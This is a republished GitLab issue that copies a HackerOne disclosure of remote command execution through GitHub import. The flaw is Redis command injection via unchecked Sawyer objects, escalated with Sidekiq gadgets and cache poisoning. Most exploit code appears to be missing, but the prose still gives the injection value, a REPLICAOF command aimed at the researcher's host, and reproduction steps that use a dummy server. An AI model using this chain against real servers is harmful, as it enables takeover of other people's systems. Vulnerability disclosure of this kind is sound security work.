2

RCE via github import

 1 year ago
source link: https://gitlab.com/gitlab-org/gitlab/-/issues/371098
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

RCE via github import

Closed

RCE via github import

HackerOne report #1672388 by yvvdwf on 2022-08-17, assigned to @nmalcolm:

Report | Attachments | How To Reproduce

Report

Hello,

While continuing mining on github import, I found a vulnerability on gitlab.com allowing to execute remotely arbitrary commands.

Gitlab uses Octokit to get data from github.com. Octokit uses Sawyer::Resource to represent results.

Sawyer is a crazy class that converts a hash to an object whose methods are based on the hash's key:

Gitlab uses directly the responded Sawyer object in few functions, such as, the id variable in this function:

Normally, id should be a number. However when id is {"to_s": {"bytesize": 2, "to_s": "1234REDIS_COMMANDS" }}, we can inject additional redis commands by using bytesize to limit the previous command when it is constructed (although the bytesize is 2 we need to reserve 4 bytes as 2 additional bytes for CLRF):

As we can execute any redis commands, we can escalate to execute any Bash command by using an existing gadget, for example:

I tested this redis command first on my own gitlab instance and it worked.

I then tested on gitlab.com but got nothing. I tried another by replacing basically nc by curl but no luck:

Although the gadget above works well on my local instance but gitlab SaaS which may be protected somehow or used another redis namespace for Sidekiq, even another redis instance. So I used then the basic redis command REPLICAOF 51.75.74.52 11211\n\n to test gitlab.com and I got a ping from your redis server to my server nc -vlkp 11211:

redis_replicaof.png

This means that I have the full control on the redis. After seeing the pings, I immediately turned off the replication by executing the redis command REPLICAOF no one\n\n. No information from your redis server has been replicated to mine as I used nc and I got only the ping messages.

By checking on my local instance at /var/opt/gitlab/redis/redis.conf, I see that only keys command is disable. I did not try FLUSHALL to write data to file as it is too dangerous.

As gitlab uses redis as a cache storage, so I tried to reach RCE via Marshal.dump method. I tested the following payload on gitlab.com to poison the avatar of my project via the key cache:gitlab:avatar:yvvdwf/xss:16210710:

Although I did not get RCE but it seems working as I got 500 error code when trying to access to my project. And now I cannot access to my project via web interface. I think I should stop testing to avoid any further potential incidences. I did all the tests above on gitlab.com on 16-17 August 2022 from IP 51.75.74.52

something_went_wrong.png

Steps to reproduce

The steps to reproduce should be the same as this one

The following steps are to reproduce on a local gitlab instance whose domain is http://gitlab.example.com:

Step to reproduce

To reproduce, we need the following prerequisite:

  • A VM/machine to host the dummy server with an public IP though that gitlab.example.com can access to (or you can configure your gitlab instance to allow to access to local networks)
  • I created the dummy server using nodejs, so you need to have also nodejs on the machine
  • A Gitlab personal access token. Go to http://gitlab.example.com/-/profile/personal_access_tokens?scopes=api to create a new token with within api scope.

Step 1: run the dummy server

  • Copy the attachment file on your machine and decompress it to any folder, e.g., /tmp/dummy-server
  • Modify the attack payload as you need inside redis_command.txt file, the default value is to execute the command (hostname; ps aux) > /tmp/ahihi:
  • Go to /tmp/dummy-server then run this command: node ./index.js YOUR_IP YOUR_PORT in which, you should replace IP and PORT with the one you have. For example, sudo node index.js 51.75.74.52 80

Step 2: trigger Gitlab import

  • Open a new terminal, then run the following command, in which:

    • YOUR_IP and YOUR_PORT are the values in the previous step
    • YOUR_GITLAB_TOKEN is the api token you've created in the pre-requirement
    • YOUR_GITLAB_USERNAME is the target namespace you want to import the project to. It can be your username, or a group name

For example:

  • View the result in /etc/ahihi

Impact

Any one the the ability to call api/v4/import/github endpoint could achieve RCE via a specially crafted responses

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK